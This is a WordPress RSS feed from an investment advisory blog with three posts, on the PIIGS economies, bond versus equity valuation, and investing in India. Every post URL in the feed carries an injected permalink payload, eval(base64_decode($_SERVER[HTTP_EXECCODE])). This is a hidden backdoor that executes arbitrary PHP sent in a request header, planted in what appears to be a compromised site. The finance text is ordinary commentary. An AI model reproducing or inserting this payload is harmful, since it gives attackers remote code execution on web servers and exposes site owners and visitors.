<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Continuum Global Asset Management</title>
	<atom:link href="http://cgamadvisor.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://cgamadvisor.com</link>
	<description></description>
	<lastBuildDate>Fri, 12 Feb 2010 23:23:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How important is Portugal, Ireland, Italy, Greece and Spain in terms of global capitalism?</title>
		<link>http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 23:22:47 +0000</pubDate>
		<dc:creator>manu</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cgamadvisor.com/?p=888</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How are bond valuation VS. equities?</title>
		<link>http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 18:26:44 +0000</pubDate>
		<dc:creator>manu</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cgamadvisor.com/?p=367</guid>
		<description><![CDATA[The 10 year US Treasury is currently yielding approximately 3.29%. In other words, the price earnings ratio (PE Raio) of a $1000 bond paying $33 per year is approximately 30. On the same token the widely used US broad based index S&#38;P 500 is trading at approximately 14-15 price earnings ratio based on 2010 earnings. In other words, [...]]]></description>
			<content:encoded><![CDATA[<p>The 10 year <a articletype="definition" articletitle="VVMgVHJlYXN1cnk,_0" target="_blank" href="http://www.wikinvest.com/wiki/Treasury" class="wikinvest-suggestion-link">US Treasury</a> is currently yielding approximately 3.29%. In other words, the price earnings ratio (PE Raio) of a $1000 <a articletype="definition" articletitle="Qm9uZA,,_0" target="_blank" href="http://www.wikinvest.com/concept/Bond_Investing" class="wikinvest-suggestion-link">bond</a> paying $33 per year is approximately 30. On the same token the widely used US broad based index <a ticker="INDEX%3A.SPX-E" articletype="index" articletitle="UyZQIDUwMA,,_0" target="_blank" href="http://www.wikinvest.com/index/S%26P_500_(SPX)" class="wikinvest-suggestion-link">S&amp;P 500</a> is trading at approximately 14-15 price earnings ratio based on 2010 earnings. In other words, if an investor is indifferent between these two securities, the US Treasury should pay approximately 6%. This difference in the price earnings is due to the fact that investors are paying a heavy premium for the safety of the US credit and faith.</p>
<p>As earnings in the US markets stabilize and start to show growth, more assets should flow into the equity side of the capital markets from <a articletype="definition" articletitle="Rml4ZWQgSW5jb21l_0" target="_blank" href="http://www.wikinvest.com/metric/Fixed_Income_Assets" class="wikinvest-suggestion-link">fixed income</a>. In other words, investors will feel less risk averse and more open to growth opportunities.</p>
<p>What do you think?</p>
]]></content:encoded>
			<wfw:commentRss>http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Investing In India: Do you believe that India could be the next China?</title>
		<link>http://cgamadvisor.com/2009/06/19/another-test-post/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://cgamadvisor.com/2009/06/19/another-test-post/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 13:50:15 +0000</pubDate>
		<dc:creator>manu</dc:creator>
				<category><![CDATA[India]]></category>

		<guid isPermaLink="false">http://websitengineer.com/cgam/?p=237</guid>
		<description><![CDATA[Comments (1)
 Dr. Paul Thind 
Seasoned Professional
India will be like China or Brazil. It will grow. Stock markets will bounce. There will be big sell offs from time to time, with huge swings in vol. FII will play an important role for decade to come as they will end up owning 20 to 40% of the market. Indian owner families will continue to be a major influence also. The retail investor will bear bulk of the risk as they do in all markets. 
]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"> </p>
<p><!-- Smart Youtube --><span class="youtube"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/F2qZEiZMgWs&amp;rel=1&amp;color1=006699&amp;color2=54abd6&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/F2qZEiZMgWs&amp;rel=1&amp;color1=006699&amp;color2=54abd6&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="355" ></embed><param name="wmode" value="transparent" /></object></span></p>
<p>The <a articletype="definition" articletitle="V29ybGQgQmFuaw,,_0" target="_blank" href="http://www.wikinvest.com/wiki/World_Bank" class="wikinvest-suggestion-link">World Bank</a> published a report in June, 2009 stating that <a articletype="geography" articletitle="SW5kaWFu_0" target="_blank" href="http://www.wikinvest.com/industry/Investing_in_India" class="wikinvest-suggestion-link">Indian</a> GDP could grow north of 8% in 2010 compared to 7.7% for China. The equity valuations have started to look rich as Indian broad based markets have experienced a 45% gain since March lows. The current Market Cap/GDP ratio seems to be gravitating towards 1.2 times, a stretched level. Majority of the initial capital market growth was a result of Foreign Institutional Investors pouring in assets but it seems like <a articletype="definition" articletitle="RG9tZXN0aWM,_0" target="_blank" href="http://www.wikinvest.com/metric/Domestic" class="wikinvest-suggestion-link">domestic</a> <a articletype="definition" articletitle="SW52ZXN0bWVudHM,_0" target="_blank" href="http://www.wikinvest.com/metric/Investments" class="wikinvest-suggestion-link">investments</a> are also on an upsurge.</p>
<p>What say you?</p>
]]></content:encoded>
			<wfw:commentRss>http://cgamadvisor.com/2009/06/19/another-test-post/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

